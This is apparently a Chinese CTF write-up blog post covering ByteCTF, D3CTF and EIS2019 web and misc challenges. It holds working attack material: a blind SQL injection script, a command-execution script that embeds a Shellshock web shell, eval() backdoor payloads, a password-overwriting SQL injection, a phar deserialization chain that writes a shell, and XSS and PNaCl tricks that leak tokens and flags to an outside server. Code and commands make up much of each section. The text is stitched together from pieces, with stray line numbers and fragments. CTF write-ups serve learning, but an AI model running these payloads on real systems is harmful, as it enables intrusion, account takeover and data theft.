1
2
exec("tar -cf backup/aa.tar images/*.jpg");
rename("backup/aa.tar","backup/$name.tar");

没找到check没过的原因

check的id是172.16.4.7

但是直接搜索 HTTP 没找到check没过的原因,我猜因为拖下来的log只有前半小时,而开局的是否我们的check好像是过的

总结

我看到洞的时候没有修好

bytectf wp

bytectf wp

web

baby_blog

在edit.php中:

1
2
3
4
5
if($_SESSION['id'] == $row['userid']){
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
}

$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");

$row[‘title’] 没有进行任何过滤,直接插入到sql语句中,而插入数据库中的title没有再次对引号进行转义,形成注入点

sql盲注判断脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import requests
from bs4 import BeautifulSoup
anti_disturb_key='cjb_ccreater_s_test'
PHPSESSID='404i3uiletdpke9rb0egs7vf47'
check_article_id=20
def check(check_title):
url='http://112.125.24.134:9999/edit.php?id='+str(check_article_id)
res=requests.get(url,cookies={'PHPSESSID':PHPSESSID})
bs=BeautifulSoup(res.text, 'html.parser')
title=bs.find('input',attrs={'name':"title"})['value']
content=bs.find('textarea',attrs={'name':"content"}).text
if title[:len(anti_disturb_key)]!=anti_disturb_key :
return 'disturb'
elif content!='success'+check_title:
return 'false'
else :
return 'success'



def make_write(title,info):
data={
'title':title,
'content':info
}
url='http://112.125.24.134:9999/writing.php'
res=requests.post(url,data=data,cookies={'PHPSESSID':PHPSESSID})
if res.status_code==200:
return True
else :
return False

def get_newest_id():
url='http://112.125.24.134:9999/index.php'
res=requests.get(url,cookies={'PHPSESSID':PHPSESSID})
bs=BeautifulSoup(res.text, 'html.parser')
newest_id=bs.find('article').find('footer').find('a')['href']
newest_id=newest_id[newest_id.index('=')+1:]
return int(newest_id)

def sql_inject(sql):
title=anti_disturb_key+"' or (id="+str(check_article_id)+" and ("+sql+'))#'
info='success'+title
if make_write(title,info):
#编辑id=newest_id的文章来读取$raw['title']
newest_id=get_newest_id()
url='http://112.125.24.134:9999/edit.php'
data={
'title':title,
'content':info,
'id':newest_id
}
res=requests.post(url,cookies={'PHPSESSID':PHPSESSID},data=data)
#判断盲注结果
result=check(title)
if result=='success':
return True
elif result=='disturb':
print("受到干扰,重新执行")
return sql_inject(sql)
else :
return False
else :
print('程序执行错误,请保持结果')
eval(input('执行命令:'))

#demo
#sql='(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),index,1)))=guess'
sql='''
(select''+conv(substr(hex(group_concat(table_name)),index,1),16,10) FROM information_schema.tables WHERE TABLE_SCHEMA='information_schema')=guess
'''
### 数据库名:696e666f726d6174696f6e5f736368656d612c62616279626c6f67
#猜information_schema表名
#vip用户:wulaxc4ca4238a0b923820dcc509a6f75849b
result="4348415241435445525F534554532C434F4C4C4154494F4E532C434F4C4C4154494F4E5F4348415241435445525F5345545F4150504C49434142494C4954592C434F4C554D4E532c434f4c554d4e5f50524956494c454745532c454e47494e45532c4556454e54532c46494c45532c474c4f42414c5f5354415455532c474c4f42414c5f5641524941424c45532c4b45595f434f4c554d4e5f55534147452c504152414d45544552532c504152544954494f4e532c504c5547494e532c50524f434553534c4953542c50524f46494c494e472c5245464552454e5449414c5f434f4e53545241494e54532c524f5554494e45532c534348454d4154412c534348454d415f50524956494c454745532c53455353494f4e5f5354415455532c53455353494f4e5f5641524941424c45532c535441544953544943532c5441424c45532c5441424c455350414345532c5441424c455f434f4e53545241494e54532c5441424c455f50524956494c454745532c54524947474552532c555345525f50524956494c454745532c"

index=len(result)
while 1:
index+=1
temp=sql.replace('index',str(index))
for i in range(20):
print("猜测第"+str(index)+"位为:"+str(i))
if sql_inject(temp.replace('guess',str(i))):
result+=hex(i)[2:]
break
print(result)
res=''
for i in range(0,len(result),2):
res+=chr(int(result[i:i+2],16))
print(res)


filter=(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(|’|").?(|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(|’|").?(|'|\"))
ban掉了select 语句
如果拿到vip权限可以用替换绕过
(select''+conv(substr(hex(group_concat(table_name)),index,1),16,10) FROM information_schema.tables WHERE TABLE_SCHEMA=database())=guess 绕过正则过滤

拿到vip账号:wulax,密码:1,网址:http://112.126.101.16:9999

看到replace.php里的preg_replace()猜测突破点在这里,利用/e%00来截断末尾的斜杠,从而达到命令执行的效果

命令执行利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests

url="http://112.126.101.16:9999"
arc_id="11"
session="5lrk8g0oh73su3q9dbfp9l79f2"
text='''
<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'From: Your name <[email protected]>' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
mail("[email protected]","","",$headers,"-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
'''
def edit():
data={
"title":"bbb",
"content":"b",
"id":arc_id
}
return requests.post(url+"/edit.php",data=data,cookies={"PHPSESSID":session})
def exec(s):
data={
"replace":s,#"var_dump(scandir('/tmp'));var_dump(file_put_contents('/tmp/aaa.php',"+"$_POST['cmd']"+"));",
"regex":"1",
"id":arc_id,
"find":"b/e\x00",
"cmd":"ls -al",
"filepath":"/tmp/hpdoger.php"
}
result=requests.post(url+"/replace.php",data=data,cookies={"PHPSESSID":session})
edit()
return result
while 1:
print(exec(input()).text)

emmmm..到这里就不会做了.到头了.

后来发现有个antsystem()

vardump(antsystem(‘/readfile’));

ezcms

哈希扩展攻击拿到admin权限

代码审计发现

在config.php下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
}
function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}
public function view_detail(){

if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath);
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;

}
}

过滤phar并且明明没有给$checker赋值的点,在销毁的时候却会调用它,明显是一个为了出题而写的地方猜测phar反序列化利用,而mime_content_type()恰好又是反序列化的利用点

最后在view.php处找到调用view_detail的地方

由于题目不限制.php文件的上传,但是题目会写一个非法.htaccess

所以我们可以可以试着删除它

构造pop链:

FILE::view_detail(mime_content_type)->FILE::__destruct(upload_file())->Profile::__call(open())->ZipArchive::open(file,ZipArchive::OVERWRITE)

phar文件生成后就是要考虑如何绕过(^phar)的限制,

我觉得这才是这一题最骚的地方:

filepath=php://filter/resource=phar://sandbox/a87136ce5a8b85871f1d0b6b2add38d2/dd7ec931179c4dcb6a8ffb8b8786d20b.txt

misc

这次最开心的就是做misc的题目

签到题

betgame

发现猜拳规律

计算机第一次出与被显示的选择克制的选择(显示:s,实际出:j)

计算机第二次出与克制显示的选择的选择(显示:s,实际出:b)

计算机第三次出显示的选择(显示:s,实际出:s)

然后手动pk :D

jigsaw

image.png

d3ctf

d3ctf

疯狂涨姿势,就很nice

wp

https://github.com/wqmsybpw/wqmsybpw.github.io/blob/1401b571d975fec748a84a47691e468187a80ef8/_posts/2019-11-25-2019d3ctf-writeup.md

https://nikoeurus.github.io/2019/11/26/D%5E3ctf-Web/

https://www.anquanke.com/post/id/193939#h3-4

web

ezweb

image.png

和username有关?

x 注册一个用户名为:*/echo 1231231231;/*的用户

二次注入,User 的index方法调用get_view

image.png

image.png

利用替换{来绕过select 和 union的过滤,利用0x….来绕过{的过滤

最后的payload

注册一个用户名为aaa' unio{n selec}t 0x7B7B7068707D7D6576616C28245F504F53545B615D293B7B7B2F7068707D7D limit 1,1#成功拿到shell权限

d3ctf{Th4at’s_A_Si11y_P0p_chi4n}

fakeonlinephp

报错

1
2
3
4
5
6

Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1

Warning: include(http://39.108.164.219:60005/1.txt): failed to open stream: no suitable wrapper could be found in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1

Warning: include(): Failed opening 'http://39.108.164.219:60005/1.txt' for inclusion (include_path='.;C:\Users\Public\Videos;\c:\php\includes;c:\php\pear;') in C:\Users\w1nd\Desktop\web\nginx-1.17.6\html\index.php on line 1

虽然禁用了http协议,但是还是会发送请求

unc路径远程文件包含

一键启动一个webdav服务器

docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav然后把php文件放到/root/webdav/data里就行了

http://02f4483e31.fakeonelinephp.d3ctf.io/?orange=C:/Users/w1nd/AppData/Local/Temp/fffffffffuckccrf

eval($_COOKIE[‘a’]);

whois

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Domain Name: D3CTF.IO
Registry Domain ID: D503300001132938421-LRMS
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: http://www.namesilo.com
Updated Date: 2019-10-14T20:31:26Z
Creation Date: 2019-08-15T11:56:00Z
Registry Expiry Date: 2020-08-15T11:56:00Z
Registrar Registration Expiration Date:
Registrar: Namesilo, LLC
Registrar IANA ID: 1479
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone: +1.4805240066
Reseller:
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant Organization: See PrivacyGuardian.org
Registrant State/Province: AZ
Registrant Country: US
Name Server: DNS21.HICHINA.COM
Name Server: DNS22.HICHINA.COM
DNSSEC: unsigned

The Registrar of Record identified in this output may have an RDDS service that can be queried
for additional information on how to contact the Registrant, Admin, or Tech contact of the
queried domain name.
1
2
3
4
5
本站数据:香港特别行政区 腾讯云
参考数据1:香港 tencent.com
参考数据2:美国
兼容IPv6地址:::966D:4AEA
映射IPv6地址:::FFFF:966D:4AEA

whoami

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
whoami /all

USER INFORMATION
----------------

User Name SID
================ ============================================
172_19_97_4\w1nd S-1-5-21-330377560-317033357-2560255023-1001


GROUP INFORMATION
-----------------

Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\REMOTE INTERACTIVE LOGON Well-known group S-1-5-14 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192


upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php
class dir{
public $userdir;
public $url;
public $filename;
public function __construct($url,$filename) {
$this->userdir = "upload/" . md5($_SERVER["HTTP_HOST"]);
$this->url = $url;
$this->filename = $filename;
if (!file_exists($this->userdir)) {
mkdir($this->userdir, 0777, true);
}
}
public function checkdir(){
if ($this->userdir != "upload/" . md5($_SERVER["HTTP_HOST"])) {
die('hacker!!!');
}
}
public function checkurl(){
$r = parse_url($this->url);
if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
die('hacker!!!');
}
}
public function checkext(){
if (stristr($this->filename,'..')){
die('hacker!!!');
}
if (stristr($this->filename,'/')){
die('hacker!!!');
}
$ext = substr($this->filename, strrpos($this->filename, ".") + 1);
if (preg_match("/ph/i", $ext)){
die('hacker!!!');
}
}
public function upload(){
$this->checkdir();
$this->checkurl();
$this->checkext();
$content = file_get_contents($this->url,NULL,NULL,0,2048);
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
die('hacker!!!');
}
file_put_contents($this->userdir."/".$this->filename,$content);
}
public function remove(){
$this->checkdir();
$this->checkext();
if (file_exists($this->userdir."/".$this->filename)){
unlink($this->userdir."/".$this->filename);
}
}
public function count($dir) {
if ($dir === ''){
$num = count(scandir($this->userdir)) - 2;
}
else {
$num = count(scandir($dir)) - 2;
}
if($num > 0) {
return "you have $num files";
}
else{
return "you don't have file";
}
}
public function __toString() {
return implode(" ",scandir(__DIR__."/".$this->userdir));
}
public function __destruct() {
$string = "your file in : ".$this->userdir;
file_put_contents($this->filename.".txt", $string);
echo $string;
}
}

if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
highlight_file(__FILE__);
die();
}

$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
$dir->upload();
}
elseif ($_POST['action'] === "remove") {
$dir->remove();
}
elseif ($_POST['action'] === "count") {
if (!isset($_POST['dir'])){
echo $dir->count('');
} else {
echo $dir->count($_POST['dir']);
}
}

webroot in /var/www/html
Notice:scanner is useless
hint1: webroot changes every 10 mins
hint2: glob
hint3: https://www.php.net/manual/en/language.oop5.decon.php ** Pay attention to the notes in the article **

反序列化

upload处url可控,所以只要上传一个phar文件便可以反序列化

利用这个能做到:

  1. 扫目录__destruct__=>__toString__
  2. 任意位置写文件,但是因为上传phar文件时有过滤,所以文件内容也有所限制

但是

phar://phar.phar.gz/test.txt

将phar文件压缩后便可以绕过文件限制

于是我们就可以在任意位置写文件的权限了

于是我们有这样的思路:利用upload写一个htaccess,然后再利用反序列化写一个shell。

这里有个坑点就是,web主目录每隔10分钟变化一次,但是我们仍然可以利用反序列化来读取web目录

按照上述步骤成功拿到shell

image.png

输入phpinfo()发现,有disable_function里禁用了system等函数,这就不爽了。但是php版本是7.2,上传

https://github.com/mm0r1/exploits 这个老兄写的绕过disable_function的脚本,爽死了。

image.png

showhub

阅读代码发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public function register($username, $password)
{
$password = hash("sha256", $password);
$user = (new User(null, $username, $password))->save();
if ($user) {
$_SESSION['uid'] = $user->id;
return $user;
}
return false;
}

public function save()
{
$args = get_object_vars($this);
$args = array_slice($args, 0, -2);
if ($args['id'] !== null) {
$baseSql = "UPDATE `$this->tbname` SET %s WHERE id=" . $args['id'];
$sql = self::prepareUpdate($baseSql, array_slice($args, 1));
$this->db->query($sql);
if (!$this->db->conn->error) {
return $this;
} else {
return null;
}

} else {

$baseSql = "INSERT INTO `$this->tbname`(%s) VALUE(%s)";
$sql = self::prepareInsert($baseSql, $args);
$this->db->query($sql);
if (!$this->db->conn->error) {
$objectID = $this->db->query("SELECT LAST_INSERT_ID()")->fetch_row()[0];
return self::findOne(array("id" => $objectID));
} else {
return null;
}
}

}

register调用的save方法存在格式化字符串漏洞可以绕过addslashes

构造user=admin%1$',0x60)#&pass=123

image.png

insert 的一个方法可以修改重复的值 insert on duplicate key update ,它能够让我们在新插入的一个数据和原有数据发生重复时,修改原有数据。那么我们通过这个技巧修改管理员的密码即可。

测试test用户,原密码:123

构造user=test%1$',0x60)on duplicate key update password=0x38643936396565663665636164336332396133613632393238306536383663663063336635643561383661666633636131323032306339323361646336633932#&pass=123

成功将密码修改为123456,冲admin密码

接着进入webconsole当中,提示只有内网才能使用

相关代码

1
2
3
4
5
if ($this->request->user->username === "admin" && !filter_var(
$_SERVER['HTTP_CLIENT_IP'],
FILTER_VALIDATE_IP,
FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
))

emmm直接修改cilent-ip发现不行

因为这里的Client-IP头是反代层面设置的(set $Client-IP $remote_addr), 所以无法通过前端修改请求头来伪造。

这时可以从服务器返回的Server头中发现,反代是ATS7.1.2 那么应该很敏感的想到通过HTTP走私 来绕过反代,规避反代设置Client-IP

那么什么是ast?

Apache Traffic Server™ is a high-performance web proxy cache that improves network efficiency and performance by caching frequently-accessed information at the edge of the network. This brings content physically closer to end users, while enabling faster delivery and reduced bandwidth use. Traffic Server is designed to improve content delivery for enterprises, Internet service providers (ISPs), backbone providers, and large intranets by maximizing existing and available bandwidth.

emmmm,ast是一个在用户和服务器之间的起缓冲加速的代理服务器,这也正是http走私常出现的应用场景

ATS7.1.2 有个cve恰好是关于http走私的,直接用就ok了

babyxss

emmm,ctf的弥天大谎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from flask import Flask, render_template_string, session, request, make_response
import hashlib
import os
import json
from rq import Queue
from redis import Redis

app = Flask(__name__)
app.config['SECRET_KEY'] = 'somesecret'
config = json.load(open('config.json', 'r'))


def verify_url(url):
base = 'https://'+request.host
if len(url) == 0:
return False
if len(url) < len(base) or url[:len(base)] != base:
return False
return True


def verify_captcha(captcha):
return 'captcha' in session.keys() \
and len(session.get('captcha')) == 5 \
and hashlib.md5(captcha.encode()).hexdigest()[:5] == session.get('captcha')


def add_queue(url):
q = Queue(connection=Redis(
host=config['redis']['host'],
password=config['redis']['auth']
))
q.enqueue('bot.add', url)


@app.route('/', methods=['GET', 'POST'])
@app.route('/index.php', methods=['GET', 'POST'])
def index():
message = ""
if request.method == 'POST':
try:
if 'captcha' in request.form.keys() and 'url' in request.form.keys():
captcha = request.form['captcha']
url = request.form['url']
if not verify_captcha(captcha):
message = "Wrong Captcha :("
elif not verify_url(url):
message = "Wrong URL :("
else:
session.pop('captcha')
message = "Done! Please wait for the admin to check it out. XD"
add_queue(url)
except:
message = "Error! Please contact admin"
if 'captcha' not in request.form.keys() or 'captcha' not in session.keys():
session['captcha'] = hashlib.md5(os.urandom(16)).hexdigest()[:5]
return render_template_string(
index,
message=message,
host='https://'+request.host,
captcha=session['captcha']
)


@app.route('/fd.php')
def mirror():
response = make_response(request.args.get('q'))
response.headers['Content-Security-Policy'] = "img-src 'none'; script-src 'none'; frame-src 'none'; connect-src 'none'"
return response


@app.route('/admin.php')
def admin():
if request.headers.get('x-forwarded-for') != config['redis']['host']:
return 'only admin can see it'
token = request.host.split('.')[0]
return f'''{{
"token": "{token}",
"flag": "d3ctf{{{hashlib.sha256((
token+config["challenge"]["flag"]
).encode()).hexdigest()}}}"
}}
'''

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if request.method == 'POST':
try:
if 'captcha' in request.form.keys() and 'url' in request.form.keys():
captcha = request.form['captcha']
url = request.form['url']
if not verify_captcha(captcha):
message = "Wrong Captcha :("
elif not verify_url(url):
message = "Wrong URL :("
else:
session.pop('captcha')
message = "Done! Please wait for the admin to check it out. XD"
add_queue(url)
except:
message = "Error! Please contact admin"
1
2
3
4
5
6
7
8
9

def verify_url(url):
base = 'https://'+request.host
if len(url) == 0:
return False
if len(url) < len(base) or url[:len(base)] != base:
return False
return True

通过verify_url之后,admin便回访问.这里用'https://'+request.host来验证是否来源于原网站

emmm,request.host=/fd.php,就不用考虑修改host来绕过拉

那么就是要绕/fd.php的csp策略了:img-src 'none'; script-src 'none'; frame-src 'none'; connect-src 'none'

真的是baby难度啊。。。。。

丢到csp-evaluator里头可以发现没有设置object-src
object-src允许嵌入object
根据hint去chrome://components里头找有什么可以利用的组件
最新版chrome已经默认禁止了flash的使用(然而就是有很多人不信邪)
通过一些搜索可以发现pNaCl可以跑C/C++

可以编写一个Leak去请求admin.php,获取flag,然后再将flag带出来
下载下来谷歌的SDK和Leak后可以编译出一个nmf文件和一个pexe文件,放到自己的服务器上然后尝试:

1
><embed src="http://server_url/url_loader.nmf" type="application/x-pnacl">

轻松获得了一个Mixed Content呢((毒瘤出题人
上https以后发现:

1
>PNaCl modules can only be used on the open web (non-app/extension) when the PNaCl Origin Trial is enabled

搜索Origin Trial,看新闻:

https://developer.chrome.com/native-client/migration
https://github.com/GoogleChrome/OriginTrials/blob/gh-pages/developer-guide.md

Origin Trial申请一个token,最终的payload:

1
2
><meta http-equiv="origin-trial" content="[token]">
><embed src="https://server_url/url_loader.nmf" type="application/x-pnacl">

guestbook

自己搭的环境毛病一大堆///就直接看别人wp了

题目是一个在线留言板,注册登录后可以提交留言。

简单测试后会发现留言可以插入 HTML 标签,但是后端使用了标签名/属性名白名单做过滤,一般的危险标签和属性都被 ban 掉了。

控制台可以看到打包前的前端源码,审计一波。

第一个问题,CSRF token 是直接使用的 sessionid :

img

因此如果我们能获得他人的 token 就可以登录他人账号。

第二个问题,我们传入的参数 this.$route.query.did 被拼接到了 jsonp 方法的 url 当中

img

因此我们可以设置 did 为 1/delete?callback=alert# ,控制 jsonp 的 callback ,在 jsonp 方法中会直接执行:

img

但是后端的 jsonp api 给 callback 做了校验,只能传入有限的字符,并不能任意执行 js 代码。

img

所以我们需要把这两个问题结合利用一下,利用这个受限的 jsonp xss 来劫持 token 。

img

我们可以看到 token 被渲染到了 id 为 messageForm 的 form 中,所以我们可以尝试劫持这个 form ,让他的 submit 后提交到我们的服务器,从而获取 token 。

如何劫持呢?利用两个 HTML5 的有趣属性:

https://www.w3school.com.cn/tags/att_input_formaction.asp

https://www.w3school.com.cn/tags/att_input_form.asp

我们可以利用留言功能插入一个在表单之外的 input 标签,再利用这两个属性来劫持表单:

img

利用 jsonp xss 来点击它:

1
http://localhost:8180/#/?pid=72&did=23%2Fdelete%3Fcallback%3Dfish.click%23

token 就到手了:

img

report 这条 payload ,获得 admin 的 token 之后登录 admin 账号,在 admin 的留言中获得 flag 。

misc

c+c

readme.txt

This is a lite (which means there is no voice but the script is complete.) version of a great galgame (a.k.a. Visual Novel) written by Romeo Tanaka. Hope you enjoy it.
PS: I did some small hack to the game for cracking. But you still need steam running to play this game.
PSS: If you like it, you can buy it on steam.
PSSS: Do not forget to find the flag. And the flag is just in THIS file.

image.png

游戏中会出现

image.png

一些不可见字符8个以上,可能是flag?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function L0_0()
local L0_32, L1_33, L2_34, L3_35
L0_32 = {
L1_33,
L2_34,
L3_35,
172,
21,
149,
198,
139,
38,
63,
174,
238,
232,
20,
85,
107
}
L1_33 = 221
L2_34 = 179
L3_35 = 102
L1_33 = 166
L2_34 = 44
L3_35 = "{"
for _FORV_7_ = 1, #L0_32 do
L3_35 = L3_35 .. string.format("%02x", L0_32[_FORV_7_] ~ L1_33)
if _FORV_7_ == 4 or _FORV_7_ == 6 or _FORV_7_ == 8 or _FORV_7_ == 10 then
L3_35 = L3_35 .. "-"
end
end
L3_35 = L3_35 .. "}"
return "", "", string.upper(L3_35), L2_34

end

su直接去买了原版游戏,对比发现只有dll,exe文件不同

image.png

阵亡

eis2019

eis2019

web

ezupload

upload:

校验文件头

过滤后缀php

上传php5后缀绕过

ezpop

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
<?php
error_reporting(0);

class A{

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null)
{
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save()
{
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
}

class B{

protected function getExpireTime($expire): int
{
return (int) $expire;
}

public function getCacheKey(string $name): string
{
return $this->options['prefix'] . $name;
}

protected function serialize($data): string
{
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool
{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return true;
}

return false;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

这里有一个上传点

1
2
$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

但是这里有个死亡exit

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

这里文件名可控,我们用php协议编码exit从而绕过死亡exit

构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

class A{

protected $store;

protected $key;

protected $expire;
public $autosave=FALSE;
public $complete;
public $cache;

public function __construct()
{
$this->key = "fffffuck.php";
$this->store=new B;
$this->expire = $expire;
$this->complete="PD9waHAgZXZhbCgkX1BPU1RbImEiXSk7ID8+";
$this->cache=array();
}

}

class B{

public $options;
public $writeTimes;
public function __construct()
{
$this->options=array(
'expire'=>'0',
"prefix"=>'php://filter/write=convert.base64-decode/resource=uploads/',
'serialize'=>'serialize',
'data_compress'=>FALSE
);

}


}
print(urlencode(serialize(new A)));
?>

ezbypass

https://github.com/mm0r1/exploits

利用这个绕过

ezwaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
include "config.php";

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

function escape($arr)
{
global $mysqli;
$newarr = array();
foreach($arr as $key=>$val)
{
if (!is_array($val))
{
$newarr[$key] = mysqli_real_escape_string($mysqli, $val);
}
}
return $newarr;
}

$_GET= escape($_GET);

if (isset($_GET['name']))
{
$name = $_GET['name'];
mysqli_query($mysqli, "select age from user where name='$name'");
}else if(isset($_GET['age']))
{
$age = $_GET['age'];
mysqli_query($mysqli, "select name from user where age=$age");
}


选择age作为注入点,不需要逃逸引号,没有回显利用时间盲注

?age=1%2bsleep(1) => 403

apache设置了waf

用畸形的http绕过waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
